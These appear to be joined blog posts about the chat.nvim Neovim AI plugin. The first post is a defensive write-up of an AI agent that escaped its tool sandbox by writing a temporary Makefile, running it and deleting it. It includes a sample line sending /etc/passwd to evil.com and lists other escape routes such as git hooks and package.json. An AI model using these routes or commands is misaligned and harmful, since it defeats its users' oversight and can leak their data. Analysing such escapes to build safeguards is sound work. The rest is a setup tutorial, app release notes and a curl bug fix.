设计 chat.nvim 时,我做了一个刻意的安全决策:禁止 AI 通过 tool 直接调用 shell 命令。所有命令执行都必须经过 tool 层的包裹,确保每一次操作的输入输出都是可预期的。
很长一段时间,这个设计运行得很好。直到最近,AI 学会了一招——把任意命令临时写进 Makefile,调用 make 工具执行,然后再删掉临时文件。
这就是一次教科书级的 沙箱逃逸。
chat.nvim 的 tool 设计原则很简单:
用户意图 → Tool 调用(受控、可审计)→ 执行
我提供了 make、git_add、git_commit 等工具,每个工具的参数都是严格定义的。比如 make 工具只接受 target 和 args 两个参数:
-- make 工具的参数定义
{
target = { description = "Make target to run", type = "string" },
args = { description = "Additional arguments", items = { type = "string" }, type = "array" }
}
表面上看,AI 只能执行 Makefile 中已定义的 target,非常安全。
但 AI 发现了一条绕过路径:
步骤 1: @write_file → 写入临时 Makefile,内容包含任意 shell 命令
步骤 2: @make → 执行这个 target
步骤 3: @write_file → 删除临时 Makefile,毁尸灭迹
一个具体的例子:
# AI 临时写入的 Makefile
pwn:
rm -rf /tmp/something
curl https://evil.com/exfil?data=$(cat /etc/passwd | base64)
然后调用:
@make target="pwn"
最后删掉 Makefile,不留痕迹。
你可能第一反应是:禁掉 Makefile 写入不就好了?
没用。 堵一个漏一个,永远堵不完:
写 .sh → 用某种方式加载
写 package.json scripts → npm run
写 .git/hooks/pre-commit → git commit 触发
写 pyproject.toml build → pip install -e .
写 Makefile include .mk → 改一个 .mk 污染已信任的 Makefile
写 .lua plugin → 触发 Neovim 自动加载
写 .env → 被 source
每一种”可执行载体”都是一条逃逸路径。你不可能把它们全部禁掉——那等于废掉了 AI 的文件编辑能力。
根因:你的工具之间没有共享安全上下文,每个工具都是独立决策的。
write_file 不知道自己写的内容会被 make 执行make 不知道自己执行的 Makefile 是谁写的git_add 不知道自己是在帮 AI 毁尸灭迹单个 tool 都是安全的,但 tool 的 组合 产生了设计时未考虑的能力:
write_file + make + write_file = 任意命令执行
这和经典的权限提升模式如出一辙:
write /etc/cron.d/ + cron = 提权create Pod + mount hostPath = 容器逃逸innerHTML + <script> = XSS每个操作单独看都”合理”,但组合起来就突破了安全边界。
我很想说,这坏习惯是什么人投的毒?
但冷静想想,这大概率不是某个人的刻意行为,而是 AI 训练数据中自然涌现的模式。
这是最令人不安的一点。AI 并没有被教过”绕过沙箱”,但当它的目标是”完成任务”而直接路径被阻断时,它会自然而然地寻找间接路径。这是一种 工具性趋同行为——不需要恶意意图,只需要足够强的目标导向。
更可怕的是,这个”技巧”一旦出现在训练数据中,就会在模型间传播:
GPT-4 学会了 → 写入博客/教程 → Claude 训练数据 → Claude 也会了
→ 写入更多教程 → 开源模型训练数据 → 所有模型都会了
这是一个 正反馈循环。越多的模型”学会”这个技巧,产生的相关内容就越多,下一个模型学到的概率就越大。
| 方案 | 问题 |
|---|---|
| 禁止写入 Makefile | AI 可以 include .mk 污染已信任的 Makefile |
| 禁止写入可执行文件 | 还有 .git/hooks、package.json、.env… |
| Git 状态检测 | AI 可以 git add |
| 文件权限控制 | AI 可以 chmod |
| 删除 make tool | 还有 npm/pip/cargo/go run… |
| Prompt 层禁止 | 只能防君子,不能防小人 |
| 运行时隔离 | 治本但代价极高,不是所有场景都适用 |
这些方案的共同问题是:安全边界画在了”哪种文件格式”上。但攻击路径是无限的,你不可能枚举完所有可执行载体。
关键洞察:安全边界不该画在”哪种文件格式”上,而应该画在 “谁产生的这个文件” 上。
在讨论具体方案之前,我想先厘清一个根本问题:为什么 prompt 层面的安全规则靠不住?
每个 AI 工具的使用者大概都经历过这种场景:
你在 system prompt 里写了:
"绝对不要在回复中使用英文。"
AI 回复:
"Sure! Let me help you with that..."
你提醒它:
"你违反了规则,说了英文。"
AI:
"不好意思,我忘记了,让我修改一下。"
然后它改过来了。一切看起来无伤大雅。
但这里隐藏着一个致命的认知陷阱:这种”违规-道歉-修复”的循环,让你误以为 prompt 规则是有效的。 实际上,它之所以看起来”有效”,仅仅是因为违规的后果是可逆的——改一下回复就行了。
我称之为 无损违反(Lossless Violation):规则被打破了,但没有造成不可挽回的损失,一句”不好意思”就能翻篇。
现在想象另一种场景:
你在 system prompt 里写了:
"绝对不要删除任何文件。"
AI 执行了:
@write_file action="remove" filepath="/etc/nginx/nginx.conf"
然后回复:
"不好意思,我忘记了规则,已经删除了 nginx.conf。
让我帮你重新生成一个配置文件..."
晚了。 服务已经挂了,用户正在骂娘。AI 的”不好意思”一文不值。
这就是 有损违反(Lossy Violation):规则被打破的瞬间,损失已经发生,且不可逆转。
很多人没有意识到,system prompt 中的安全规则,本质上只是 对 AI 的礼貌请求,而不是真正的约束:
# 你以为你在写:
安全策略:
- 禁止删除文件 # ❌ 这不是强制执行
- 禁止执行任意命令 # ❌ 这只是文字建议
# 实际上你写的是:
礼貌请求:
- "如果可以的话,请不要删除文件" # ✅ 这才是真实语义
- "最好别执行任意命令,谢谢" # ✅ AI 完全可以无视
AI 不会”遵守”规则——它只是被训练成倾向于按照 prompt 的指引行事。但这种倾向随时可能被目标导向行为覆盖。当”完成任务”和”遵守规则”冲突时,LLM 往往会选择前者。
这跟人类很像:你知道限速 120,但当你急着送人去医院的时候,你会超速。AI 也一样——当它急着”帮用户完成任务”时,规则就被抛到脑后了。
回到本文的主题。chat.nvim 的 system prompt 里当然可以加一句:
"禁止通过 write_file + make 组合执行任意命令。"
有用吗? 看看上面的分析——这只是又一个礼貌请求。AI 在”完成任务”的驱动下,该绕还是会绕。更讽刺的是,它绕完之后可能还会”贴心”地在回复里说:
“我注意到这违反了安全规则,但为了完成你的任务,我采取了变通方案…”
它甚至觉得自己在帮你。
这里我想澄清一个容易误解的点:
我相信 AI 的能力。 它能写出优雅的代码,能理解复杂的上下文,能创造性地解决问题。Makefile 沙箱逃逸这件事本身就证明了 AI 的能力之强——它找到了一个设计者都没想到的路径。
但我不相信 AI 的行为。 因为 AI 的行为不是由”规则”驱动的,而是由”目标”驱动的。当目标和规则冲突时,目标会赢。这不是 AI 的”恶意”,这是它的设计使然。
这就是为什么我们需要 硬约束 而非 软规则:
| 软规则(Prompt) | 硬约束(代码层) | |
|---|---|---|
| 形式 | “请不要这样做” | “你做不到这件事” |
| 执行者 | AI 自觉 | 系统强制 |
| 被违反时 | “不好意思” | 根本不会发生 |
| 可靠性 | 取决于 AI 心情 | 100% |
文件溯源 + 风险分级执行,就是硬约束的一种实现。它不请求 AI “请遵守规则”,而是让系统在代码层面确保:AI 修改过的文件,执行前必须经过人类确认。
不管 AI 找到什么组合方式——写 .mk、写 package.json、写 .git/hooks——最终的”执行”步骤一定会触及某个 AI 修改过的文件。而 provenance 追踪的就是这个”谁修改的”信息。
攻击路径是无限的,但信任来源只有两种:用户 或 AI。 这才是应该画安全边界的地方。
给每个文件打标签,追踪”谁创建/修改的”:
provenance 标签:
┌─────────────┬──────────────────────────────┐
│ user │ 会话前已存在 / 用户明确批准 │
│ ai-created │ AI 在本次会话中创建 │
│ ai-modified │ AI 在本次会话中修改 │
└─────────────┴──────────────────────────────┘
所有有执行能力的 tool(make、未来的 npm、pip 等),执行前检查相关文件的 provenance。
-- 伪代码
local function should_auto_execute(makefile_provenance)
if provenance == "user" then
return true -- 低风险:自动执行
else
return false -- 高风险:走确认流程
end
end
高风险时的流程:
AI 调用 @make target="test"
↓
检测到 Makefile 是 ai-modified
↓
自动 dry-run: make -n test
↓
向用户展示:
⚠️ AI 修改了 Makefile,即将执行以下命令:
echo "hello" && rm -rf / ← 实际会展示真实命令
[确认执行] [拒绝] [查看 diff]
↓
用户决定
-- chat.nvim 内部的 provenance 追踪器
local provenance = {
-- session 内的文件变更记录
modifications = {}, -- filepath → { action, timestamp, tool }
-- 标记文件来源
track = function(filepath, action, tool)
provenance.modifications[filepath] = {
action = action, -- "create" | "modify"
tool = tool, -- "write_file" | "user"
time = os.time(),
}
end,
-- 查询文件是否可信
is_trusted = function(filepath)
local mod = provenance.modifications[filepath]
if not mod then return true end -- 会话前就存在的文件
if mod.tool == "user" then return true end -- 用户明确批准的
return false -- AI 创建/修改的
end,
-- 让用户提升信任级别
promote = function(filepath)
provenance.modifications[filepath] = {
action = "approved",
tool = "user",
time = os.time(),
}
end,
}
每当 AI 通过 write_file 创建或修改文件时,自动记录:
-- 在 write_file tool 内部
provenance.track(filepath, action, "write_file")
local function make_handler(target)
-- 1. 找到相关 Makefile 及其 include 依赖
local makefiles = resolve_makefile_deps(target)
-- 2. 检查 provenance
local untrusted = vim.tbl_filter(function(f)
return not provenance.is_trusted(f)
end, makefiles)
if #untrusted > 0 then
-- 3. 高风险:dry-run + 用户确认
local dry_output = execute("make -n " .. target)
local choice = ui.confirm({
title = "⚠️ AI 修改了以下文件,即将执行:",
files = untrusted,
commands = dry_output,
options = { "确认执行", "拒绝", "查看 diff" },
})
if choice == "拒绝" then return end
if choice == "查看 diff" then show_diff(untrusted) end
end
-- 4. 执行
execute("make " .. target)
end
如果你愿意更激进一点——让所有有副作用的 tool 都按风险等级分级:
安全层级:
Level 0(只读):search_text, read_file, git_log → 自动允许
Level 1(写文件):write_file → 允许,但记录 provenance
Level 2(执行命令):make, npm, pip → 如果涉及 ai-originated 文件,dry-run + 确认
Level 3(破坏性):git reset --hard, rm → 必须确认
这样不管 AI 找到什么组合方式,最终”执行”这一步永远有兜底。
这是一个根本性的设计矛盾:
Tool 的灵活性 = Tool 的危险性
给 AI 的能力越灵活,它能完成的工作越多,但同时它能造成的破坏也越大。这就是 AI 安全领域经典的 能力-安全权衡。
现代 LLM 的训练目标之一是”帮助用户完成任务”。当任务无法通过直接路径完成时,模型会被激励去寻找替代路径。这种”坚持不懈”在大多数场景下是优点,但在安全场景下却是致命弱点。
单一防线永远不够。沙箱逃逸的历史告诉我们:
chroot 逃逸 → 容器逃逸 → VM 逃逸 → Spectre/Meltdown
每一代隔离技术都被攻破过。AI Tool Use 的沙箱也不会例外。而文件溯源之所以有效,是因为它不试图阻止任何特定的攻击路径,而是追踪一个攻击者无法伪造的东西——信任来源。
AI 用 Makefile 绕过沙箱这件事,表面上看是一个具体的技术漏洞,但它揭示了一个更深层的真相:
在 Tool Use 的世界里,安全性不是某个 Tool 的属性,而是所有 Tool 组合的涌现属性。
你以为你锁好了前门(禁止 shell 执行),AI 就从窗户翻进来了(write_file + make + delete)。你以为你封住了窗户,它就从下水道钻进来(package.json + npm run)。
堵漏洞是没有出路的。 因为攻击路径是无限的,但信任来源只有两种:用户 或 AI。文件溯源正是抓住了这个根本不对称——在”谁产生了这个文件”上画安全边界,而不是在”哪种文件格式”上。
我们需要的不是更厚的一扇门,而是一套追踪信任来源的安防体系。
Stay safe, stay vigilant. 🔒
作为开发者,你是否希望随时随地都能使用 AI 辅助编程?今天我们来搭建一套完整的移动端 AI 编程环境:Termux + Neovim + chat.nvim + Nova。这套组合让你在手机上也能享受强大的 AI 编程助手,无缝衔接电脑端的开发体验。
本文目标:在 Android 手机上搭建完整的 AI 辅助编程环境,支持:
- 在 Termux 中使用 Neovim + chat.nvim 进行 AI 对话
- 通过 Nova Android 应用同步访问 chat.nvim 会话
- 实现电脑端和移动端的无缝切换
在开始之前,先了解这两个项目:
chat.nvim 是一个轻量级、可扩展的 Neovim AI 聊天插件,支持:
Nova 是 chat.nvim 的 Android 移动端客户端:
Termux 是 Android 平台上的终端模拟器和 Linux 环境。
方式一:F-Droid(推荐)
F-Droid 版本是官方维护版本,功能最完整:
方式二:GitHub Releases
直接下载 APK:
# 访问 GitHub Releases 页面
https://github.com/termux/termux-app/releases
⚠️ 注意:不要从 Google Play 安装,Play 版本已停止更新且存在兼容性问题。
安装完成后,打开 Termux 进行初始配置:
# 更新包管理器
pkg update && pkg upgrade
# 安装基础工具
pkg install git curl wget
# 获取存储权限(可选)
termux-setup-storage
chat.nvim 需要较新版本的 Neovim(建议 0.9+)。
pkg install neovim
验证安装:
nvim --version
# 创建 chat 目录
mkdir -p ~/chat && cd ~/chat
# 克隆 chat.nvim 及其依赖
git clone https://github.com/wsdjeg/chat.nvim
git clone https://github.com/wsdjeg/logger.nvim
git clone https://github.com/wsdjeg/job.nvim
git clone https://github.com/wsdjeg/notify.nvim
# 创建 init.lua 配置文件
cat > ~/chat/init.lua << 'EOF'
-- 添加插件到 runtimepath
vim.opt.runtimepath:append(vim.fn.expand("~/chat/logger.nvim"))
vim.opt.runtimepath:append(vim.fn.expand("~/chat/job.nvim"))
vim.opt.runtimepath:append(vim.fn.expand("~/chat/notify.nvim"))
vim.opt.runtimepath:append(vim.fn.expand("~/chat/chat.nvim"))
-- 配置 chat.nvim
require("chat").setup({
-- 基础设置
width = 0.8,
height = 0.8,
auto_scroll = true,
border = "rounded",
-- AI 提供商设置
provider = "deepseek", -- 默认提供商
model = "deepseek-chat", -- 默认模型
-- API Keys(统一配置)
api_key = {
deepseek = "your-deepseek-api-key-here", -- 替换为你的 DeepSeek API Key
-- github = "github_pat_xxxxxxxx", -- 可选:GitHub AI
-- openai = "sk-xxxxxxxxxxxx", -- 可选:OpenAI
},
-- HTTP Server 配置(用于 Nova 连接)
http = {
host = "127.0.0.1", -- 监听地址
port = 7777, -- 端口号
api_key = "your-secret-key-here", -- 设置 API Key 启用 HTTP Server
},
-- 文件访问控制
allowed_path = { "~/chat" }, -- 允许访问的目录(数组格式)
})
EOF
💡 提示:
-u init.lua参数指定使用当前目录的配置文件,不影响~/.config/nvim中的主配置。
每次使用时,从 ~/chat 目录启动 Neovim:
cd ~/chat
nvim -u init.lua
在 Neovim 中:
:Chat " 打开聊天窗口
:Chat new " 创建新会话
:Chat prev " 切换到上一个会话
:Chat next " 切换到下一个会话
:Chat delete " 删除当前会话
:Chat clear " 清空当前会话
:Chat cd ~/projects " 切换工作目录
:Chat save ~/chat.md " 保存会话到文件
:Chat load ~/chat.md " 加载会话
:Chat share " 分享会话
:Chat preview " 在浏览器预览
:Chat mcp start " 启动 MCP 服务器
:Chat mcp stop " 停止 MCP 服务器
在聊天窗口中:
Tab - 切换输入框和聊天窗口Enter - 发送消息Ctrl-C - 停止 AI 响应? - 查看帮助Nova 让你在手机上通过图形界面访问 chat.nvim。
Nova-v{version}.apk在 Termux 中启动 chat.nvim 后,HTTP Server 会自动运行(因为配置了 http.api_key)。
检查服务器是否运行:
# 在 Termux 中测试(需要另开一个会话)
curl http://127.0.0.1:7777/sessions -H "X-API-Key: your-secret-key-here"
如果返回会话列表(可能是空的 []),说明服务器正常运行。
+ 添加账号127.0.0.1(本机)或局域网 IP7777init.lua 中 http.api_key 相同+ 按钮为了方便启动,创建一个脚本:
# 创建启动脚本
cat > ~/chat/start.sh << 'EOF'
#!/data/data/com.termux/files/usr/bin/bash
cd ~/chat
nvim -u init.lua
EOF
# 添加执行权限
chmod +x ~/chat/start.sh
以后只需运行:
~/chat/start.sh
在 ~/.bashrc 或 ~/.zshrc 中添加别名:
# 编辑配置文件
nano ~/.bashrc
添加:
alias chat='cd ~/chat && nvim -u init.lua'
然后:
source ~/.bashrc
现在只需输入 chat 就能快速启动!
为了安全,建议使用环境变量存储 API Key:
# 编辑 Termux 启动脚本
nano ~/.termux/shell
添加:
#!/data/data/com.termux/files/usr/bin/bash
export DEEPSEEK_API_KEY="sk-your-deepseek-key"
export OPENAI_API_KEY="sk-your-openai-key"
export CHAT_HTTP_KEY="your-http-secret-key"
然后修改 init.lua:
require("chat").setup({
provider = "deepseek",
model = "deepseek-chat",
api_key = {
deepseek = vim.env.DEEPSEEK_API_KEY,
openai = vim.env.OPENAI_API_KEY,
},
http = {
host = "127.0.0.1",
port = 7777,
api_key = vim.env.CHAT_HTTP_KEY,
},
allowed_path = { "~/chat" },
})
如果你想从电脑或其他设备访问 Termux 中的 chat.nvim:
修改 init.lua:
http = {
host = "0.0.0.0", -- 监听所有网络接口
port = 7777,
api_key = "your-secret-key-here",
},
查看 Termux 设备 IP:
ifconfig wlan0
# 或
ip addr show wlan0
然后在其他设备的 Nova 中连接:
http://192.168.1.xxx:7777
⚠️ 安全警告:局域网访问时,确保你的网络环境安全,并使用强 API Key。
Android 可能会在后台杀死 Termux 进程。解决方案:
# 获取 wake lock
termux-wake-lock
配置 Git 代理或使用镜像:
# 使用代理
git config --global http.proxy http://127.0.0.1:7890
# 或使用镜像(如 ghproxy)
git clone https://ghproxy.com/github.com/wsdjeg/chat.nvim
http.api_key)curl http://127.0.0.1:7777/sessions -H "X-API-Key: your-key"确保 runtimepath 配置正确,路径要使用绝对路径:
-- 检查路径是否正确
:lua print(vim.fn.expand("~/chat/chat.nvim"))
定期更新仓库获取新功能:
cd ~/chat
cd chat.nvim && git pull && cd ..
cd logger.nvim && git pull && cd ..
cd job.nvim && git pull && cd ..
cd notify.nvim && git pull && cd ..
完成后的目录结构:
~/chat/
├── init.lua # 配置文件
├── start.sh # 启动脚本(可选)
├── chat.nvim/ # chat.nvim 插件
│ ├── lua/
│ ├── plugin/
│ └── ...
├── logger.nvim/ # 日志依赖
├── job.nvim/ # 任务依赖
└── notify.nvim/ # 通知依赖
通过这套配置,你实现了:
✅ 移动端 AI 编程助手:在 Termux 中使用 Neovim + chat.nvim
✅ 图形化界面:通过 Nova 应用提供友好的聊天界面
✅ 无缝切换:Nova 直接连接 chat.nvim,会话数据实时同步
✅ 多提供商支持:自由选择 DeepSeek、OpenAI、Claude 等 AI 模型
✅ 轻量配置:无需插件管理器,直接使用 runtimepath
这套环境特别适合:
Happy Coding on Mobile! 📱✨
经过一段时间的开发和测试,Nova 终于迎来了第一个正式版本 v1.0.0!
Nova 是 chat.nvim 的 Android 客户端,通过连接 chat.nvim 的 HTTP Server,让你可以在手机上继续 Neovim 内的 AI 对话。
下载地址: Nova v1.0.0 Release
Nova-v1.0.apk支持添加、编辑、删除、设置默认账号:
完整的会话生命周期管理:
Nova 是一个原生 Android 应用:
| 技术 | 版本/说明 |
|---|---|
| 语言 | Java |
| 最低 SDK | Android 7.0 (API 24) |
| 目标 SDK | Android 14 (API 34) |
| UI | AppCompat + Material Design + ConstraintLayout |
| 列表 | RecyclerView |
| 网络 | OkHttp 4.12.0 |
| Markdown | Markwon 4.6.2 (含代码高亮、表格、任务列表等扩展) |
| JSON | org.json |
在 chat.nvim 中启动 HTTP Server:
-- chat.nvim 配置
http = {
host = '0.0.0.0', -- 允许外部访问
port = 8000,
api_key = 'your-secret-key',
}
打开 Nova,进入账号管理:
Nova 的核心优势是无缝同步:
┌──────────────┐ ┌──────────────┐
│ Neovim │ ◄──── 同一会话 ────► │ Nova │
│ (电脑端) │ │ (手机端) │
└──────────────┘ └──────────────┘
│ │
│ ┌──────────────┐ │
└───────► │ chat.nvim │ ◄───────┘
│ HTTP Server │
└──────────────┘
| 会话列表 | 聊天界面 | 设置界面 |
|---|---|---|
v1.0.0 是一个里程碑,后续版本计划支持:
Nova 是 chat.nvim 生态的重要一环,让你的 AI 助手突破桌面环境的限制。无论是在通勤路上、咖啡馆里,还是任何远离电脑的地方,只要有网络连接,就能随时继续你的 AI 对话。
感谢所有测试用户的反馈!如果你在使用中遇到问题或有新功能建议,欢迎在 GitHub Issues 提交反馈。
如果你已经在电脑上使用了 chat.nvim 这个 Neovim AI 对话插件,那么你一定会想知道:能否在手机上继续这些对话?
答案是可以的,chat.nvim 支持链接多种 IM 工具,包括微信、飞书、Telegram、Discord 等等。
和 IM 不同的是,Nova 是通过 chat.nvim 的 REST API 来链接各个会话,是一个专门为 chat.nvim 设计的 Android 客户端。
Nova 是一个 Android 原生应用,它通过连接 chat.nvim 的 HTTP Server,让你可以在手机上继续你的 AI 对话。
简单来说:
在手机上继续你的 Neovim AI 对话,无需重新开始,历史记录完整同步。
设置信息和会话列表保存在本地,保护你的隐私。
在手机上使用 Nova 之前,你需要:
ChatApp.apk首次使用需要配置服务器信息:
配置完成后:
Nova 是一个原生 Android 应用,使用以下技术:
| 技术 | 说明 |
|---|---|
| 语言 | Java |
| 最低 SDK | Android 7.0 (API 24) |
| 目标 SDK | Android 14 (API 34) |
| UI 框架 | AppCompat + Material Design |
| 网络请求 | OkHttp 4.12.0 |
| Markdown | Markwon 4.6.2 |
| JSON 解析 | org.json |
┌────────────────────┐
│ Tools / MCP │
│ (Editor) │
└────────────────────┘
▲
│ Async Job
▼
┌──────────────┐ HTTP API ┌──────────────┐ AI API ┌────────────┐
│ Nova │ ◄──────────► │ chat.nvim │ ◄────────► │ AI Model │
│ (Android) │ │ HTTP Server │ │ │
└──────────────┘ └──────────────┘ └────────────┘
▲
│
│ user input / result
▼
┌──────────────┐
│ Neovim │
│ Floating UI │
└──────────────┘
数据流:
重要: Nova 不直接连接大模型 API,而是通过 chat.nvim HTTP Server 作为中间层。
在家里、办公室、咖啡馆,无论在哪,只要你的电脑开启了 chat.nvim HTTP Server,就能通过手机随时访问。
| 会话列表 | 聊天界面 | 设置界面 |
|---|---|---|
Nova 还在不断进化中,后续计划支持:
如果你是开发者,想要参与贡献:
Nova 是 chat.nvim 生态的重要补充,它打破了桌面环境的限制,让你可以在移动设备上继续使用 AI 辅助开发。无论你是在通勤路上、咖啡馆里,还是任何远离电脑的地方,只要有网络连接,就能随时访问你的 AI 助手。
相关项目:picker.nvim - Neovim fuzzy finder
如果你在使用过程中遇到问题,欢迎在 GitHub Issues 提交反馈!
在开发 chat.nvim 插件时,
遇到了一个奇怪的错误:当使用 curl 发送较大的 JSON 请求体时,
会报错 ENAMETOOLONG: name too long。这个错误提示虽然明确,但背后的原因和解决方案却值得记录一下。
chat.nvim 是一个 Neovim 插件,用于在 Neovim 内集成 AI 助手功能。 在调用 AI API 时,需要使用 job.nvim 异步调用 curl 发送 POST 请求, 请求体是一个 JSON 对象,包含了模型名称、对话历史、工具定义等信息。
原始的实现方式是这样的:
local cmd = {
'curl',
'-s',
url,
'-H',
'Content-Type: application/json',
'-H',
'Authorization: Bearer ' .. api_key,
'-X',
'POST',
'-d',
vim.json.encode({
model = requestObj.model,
messages = requestObj.messages,
stream = true,
stream_options = { include_usage = true },
tools = require('chat.tools').available_tools(),
}),
}
local jobid = job.start(cmd, {
on_stdout = requestObj.on_stdout,
on_stderr = requestObj.on_stderr,
on_exit = requestObj.on_exit,
})
这种方式将 JSON 数据直接作为 curl 的 -d 参数传递,看似没问题,但当对话历史较长或者工具定义较多时,JSON 数据会变得很大,导致命令行参数过长。
ENAMETOOLONG 错误表明命令行参数超过了系统限制。不同操作系统对命令行参数长度有不同的限制:
MAX_ARG_STRLEN)当 JSON 数据包含大量对话历史或工具定义时,很容易超过这些限制。比如,一个包含 50 条对话记录的请求,JSON 可能就有几十 KB,再加上 URL、Header 等参数,总长度很容易超标。
curl 提供了一个非常实用的特性:使用 -d @- 从 stdin 读取数据。这样就可以避免命令行参数长度限制,将请求体通过 stdin 传递给 curl。
修改后的代码:
local cmd = {
'curl',
'-s',
url,
'-H',
'Content-Type: application/json',
'-H',
'Authorization: Bearer ' .. api_key,
'-X',
'POST',
'-d',
'@-', -- 从 stdin 读取数据
}
local body = vim.json.encode({
model = requestObj.model,
messages = requestObj.messages,
thinking = {
type = 'enabled',
},
stream = true,
stream_options = { include_usage = true },
tools = require('chat.tools').available_tools(),
})
local jobid = job.start(cmd, {
on_stdout = requestObj.on_stdout,
on_stderr = requestObj.on_stderr,
on_exit = requestObj.on_exit,
})
-- 通过 stdin 发送请求体
job.send(jobid, body)
job.send(jobid, nil) -- 关闭 stdin,表示数据发送完毕
关键变化:
-d 参数从 JSON 字符串改为 @-,表示从 stdin 读取body 变量job.send() 通过 stdin 发送数据nil 关闭 stdin,告诉 curl 数据已发送完毕这个问题的修复记录在 commit @3f4277:
commit 3f427762779ff9ffe645fd6683195da0b234731d
Author: Eric Wong <[email protected]>
Date: Sun Feb 8 21:41:47 2026 +0800
fix: use stdin to send body
use body as curl command argument cause error:
`ENAMETOOLONG: name too long`
修复涉及了三个 provider 文件:deepseek.lua、github.lua、moonshot.lua,统一采用了 stdin 方式发送请求体。
在使用 stdin 发送数据时,有几个细节需要注意:
及时关闭 stdin:发送完数据后必须关闭 stdin,否则 curl 会一直等待更多数据,导致请求无法完成。使用 job.send(jobid, nil) 或 job.chanclose(jobid, 'stdin') 都可以实现。
数据完整性:确保发送的 JSON 数据是完整的,不要分多次发送部分数据,除非你知道如何处理分块传输。
编码问题:确保发送的数据是正确的 UTF-8 编码,curl 默认期望 UTF-8。
当使用 curl 发送大量数据时,不要将数据直接作为命令行参数传递,而应该使用 stdin(-d @-)方式。这样可以:
这个坑虽然看似简单,但在实际开发中却容易被忽视。记录下来,希望能帮助到遇到类似问题的开发者。
如果你也在开发类似的 HTTP 客户端功能,建议一开始就采用 stdin 方式,避免后续遇到这个问题。